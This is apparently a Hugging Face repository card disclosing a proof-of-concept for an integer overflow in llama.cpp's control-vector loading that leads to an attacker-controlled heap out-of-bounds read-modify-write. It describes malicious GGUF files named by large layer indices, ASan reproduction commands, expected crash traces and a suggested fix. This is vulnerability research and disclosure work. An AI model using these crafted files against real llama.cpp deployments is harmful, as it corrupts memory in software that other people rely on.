You need to agree to share your Hugging Face information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

PoC β€” Integer overflow in llama.cpp control-vector loading β†’ heap OOB read-modify-write

Target: ggml-org/llama.cpp Β· common/common.cpp Β· common_control_vector_load_one() Class: CWE-190 β†’ CWE-787 / CWE-125 (controlled heap OOB read-modify-write) Status: still unpatched on current master (lines 1848 & 1851 unchanged); 2-year patch-gap of PR #8137.

A malicious control-vector GGUF whose tensor is named direction.<large> overflows the 32-bit n_embd * layer_idx arithmetic, desyncing the buffer allocation (line 1848) from the write offset (line 1851) β†’ out-of-bounds read-modify-write at line 1853, by construction.

Files

file what it is
poc_cvec.gguf 256 B PoC β€” direction.1 + direction.536870912 (layer_idx 2^29)
poc_cvec_write.gguf 256 B PoC β€” direction.1073741824 (layer_idx 2^30, n_embd 4) β†’ controlled overflow
gen_cvec_poc.py generator (uses in-repo gguf-py)
cvec_harness.cpp minimal harness β€” calls common_control_vector_load directly (no model needed)
asan_cvec_master.txt ASan trace, default build (wild OOB β†’ SEGV)
asan_cvec_controlled_write.txt ASan trace, -fwrapv build β†’ clean heap-buffer-overflow, 16 B before result.data

Build (ASan) + reproduce

git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
# Build with ASan. -fwrapv makes the signed-overflow well-defined (two's-complement wrap),
# which is the real behaviour on 32-bit/wasm32 builds and yields the CONTROLLED overflow
# (without it, a 64-bit -O2 build evaluates the offset at full width β†’ a wild SEGV that
#  still proves an OOB write, but reads as a crash).
cmake -B build -DCMAKE_BUILD_TYPE=Debug -DLLAMA_CURL=OFF \
  -DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer -fwrapv" \
  -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer -fwrapv" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build -j

# Build the harness against the freshly-built static libs (--start-group handles ggml's
# circular deps; add -lgomp if your toolchain needs OpenMP symbols):
clang++ -fsanitize=address -fwrapv -Icommon -Iinclude -Iggml/include cvec_harness.cpp -o cvec_harness \
  -Wl,--start-group build/common/libcommon.a build/src/libllama.a build/ggml/src/libggml*.a -Wl,--end-group \
  -lpthread -lm -lgomp

./cvec_harness poc_cvec_write.gguf      # -> ASan heap-buffer-overflow at common/common.cpp:1853
./cvec_harness poc_cvec.gguf            # -> wild OOB (SEGV) variant

Expected (controlled overflow β€” poc_cvec_write.gguf, -fwrapv)

==ERROR: AddressSanitizer: heap-buffer-overflow ... at common/common.cpp:1853
0x... is located 16 bytes before 16-byte region [ ... ]
allocated by thread T0 here:
   ... std::vector<float>::resize(...)   // == result.data, the resize at common.cpp:1848
   ... common_control_vector_load_one    common/common.cpp:1848

n_embd=4, layer_idx=2^30: alloc 4 * 2^30 truncates to 0 (buffer stays 4 floats) while the offset 4 * (2^30 - 1) wraps to -4 floats β†’ read-modify-write 16 bytes before result.data. Attacker controls the offset (tensor name) and the written value (src[j] * strength).

Why it is memory-corruption, not just DoS

Line 1853 is dst[j] += src[j] * strength β€” an OOB read AND write. The allocation and the offset are derived from the same overflowing product but truncated inconsistently, so the write lands at an attacker-chosen offset relative to a real heap allocation (result.data). On 32-bit/wasm32 builds this is the native behaviour; on 64-bit it is reachable under defined-overflow and the default PoC already demonstrates an OOB write wherever the offset is mapped.

Patch-gap (PR #8137)

PR #8137 "Control vector loading fixes" (merged 2024-06-27) refactored this function and added the layer_idx < 0 / == 0 guards β€” but left n_embd * layer_idx as unbounded 32-bit int math. This report completes that fix. Suggested: parse layer_idx as int64_t, bound 0 < layer_idx <= n_layers, and compute alloc size and write offset consistently in size_t.

Downloads last month
-
GGUF
Model size
8 params
Architecture
controlvector
Hardware compatibility
Log In to add your hardware

We're not able to determine the quantization variants.

Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support